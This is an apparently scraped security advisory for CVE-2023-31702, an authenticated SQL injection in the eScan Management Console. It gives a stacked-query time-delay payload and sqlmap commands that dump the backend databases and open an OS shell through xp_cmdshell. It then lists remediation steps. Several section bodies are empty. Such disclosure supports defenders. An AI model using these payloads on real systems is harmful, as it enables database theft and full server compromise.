CVE-2023-31702 — eScan Management Console SQL Injection (Authenticated)

Overview

CVE-2023-31702 is an authenticated SQL Injection vulnerability discovered in MicroWorld Technologies eScan Management Console version 14.0.1400.2281. The vulnerability exists in the GetUserCurrentPwd endpoint, where the UsrId parameter is passed directly into a SQL query without proper sanitisation or parameterisation. An authenticated attacker can exploit this flaw to perform time-based blind SQL injection, extract the entire backend database, and ultimately obtain an interactive OS command shell on the underlying Microsoft SQL Server — leading to full system compromise.

Vulnerability Details

Affected Software

Vulnerability Description

The eScan Management Console provides a web-based interface for managing endpoint security across an organisation's network. The "View User Profile" feature exposes a REST-like endpoint:

/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>

The UsrId parameter is incorporated into a backend SQL query without validation, escaping, or the use of parameterised queries. This allows an authenticated attacker to inject arbitrary SQL statements into the query, resulting in:

• Time-Based Blind SQL Injection — using WAITFOR DELAY to confirm exploitability.
• Stacked Query Execution — enabling multi-statement injection payloads.
• Full Database Dump — extracting all tables, users, credentials, and sensitive data from the SQL Server backend.
• OS Command Execution — leveraging SQL Server's xp_cmdshell stored procedure (enabled via sp_configure) to execute arbitrary operating system commands on the server with the SQL Server service account's privileges.

Impact

A successful exploitation of this vulnerability allows an attacker to:

• 🔴 Dump the entire SQL Server database, including user credentials, configuration data, and sensitive enterprise information.
• 🔴 Gain an interactive OS shell on the Windows server hosting the SQL Server instance.
• 🔴 Execute arbitrary OS commands (e.g., create backdoor accounts, exfiltrate data, pivot to internal network resources).
• 🔴 Fully compromise the eScan management server and potentially all endpoints it manages.

⚠️ Note: The attacker must first obtain valid credentials to the eScan Management Console. However, once authenticated, exploitation is straightforward and does not require elevated console privileges.

Proof of Concept

Step 1 — Access the Vulnerable Endpoint

After authenticating to the eScan Management Console, navigate to the following URL:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

This returns the current user profile data, confirming the endpoint is accessible.

Step 2 — Confirm SQL Injection with Time-Based Payload

Inject the following time-delay payload into the UsrId parameter:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

Payload breakdown:

• ; — terminates the original SQL statement and begins a new one (stacked query).
• WAITFOR DELAY '0:0:5' — instructs the SQL Server to pause for 5 seconds before responding.
• -- — comments out the remainder of the original query to prevent syntax errors.

If the server response is delayed by ~5 seconds, the injection is confirmed.

Step 3 — Dump Databases Using SQLMap

Once blind SQL injection is confirmed, the full database can be extracted using SQLMap:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

This enumerates all databases hosted on the backend SQL Server.

Step 4 — Obtain an OS Shell via SQLMap

SQLMap can also escalate the attack to OS-level command execution by enabling and leveraging xp_cmdshell:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

This establishes an interactive OS shell on the SQL Server host.

Step 5 — Execute OS Commands on the Server

With the OS shell established, arbitrary Windows commands can be executed on the server:

Remediation

The following measures are strongly recommended to remediate and mitigate this vulnerability:

1. Use Parameterised Queries / Prepared Statements — Never concatenate user-supplied input directly into SQL queries. Use bound parameters to separate data from query logic.

2. Input Validation & Sanitisation — Strictly validate all user-supplied parameters server-side. For numeric identifiers like UsrId, enforce integer-only input and reject any value containing special characters.

3. Apply the Vendor Patch — Update eScan Management Console to the latest available version. Contact MicroWorld Technologies support or refer to their security advisories for the latest patched release.

4. Least Privilege for Database Accounts — The application database account should have only the minimum permissions required. It should not have sysadmin or db_owner roles, and xp_cmdshell should be disabled.

5. Disable xp_cmdshell — Unless explicitly required, disable the xp_cmdshell extended stored procedure on the SQL Server instance:

   root@kitploit:~

   EXEC sp_configure 'xp_cmdshell', 0;
   RECONFIGURE;
   

6. Web Application Firewall (WAF) — Deploy a WAF to detect and block common SQL injection patterns as a defence-in-depth measure.

7. Network Segmentation — Restrict access to the eScan Management Console to trusted IP ranges and ensure the SQL Server is not directly exposed to the internet.

Disclosure Timeline

References

• NVD — CVE-2023-31702 (check NVD for current publication status)
• MITRE — CVE-2023-31702 (check MITRE for current publication status)
• MicroWorld Technologies eScan
• SQLMap — Automatic SQL Injection Tool
• OWASP — SQL Injection
• CWE-89 — Improper Neutralisation of Special Elements used in an SQL Command

Author

Sahil Ojha — Security Researcher

This disclosure is intended for educational and security research purposes only. Exploitation of this vulnerability against systems without explicit written authorisation is illegal and unethical.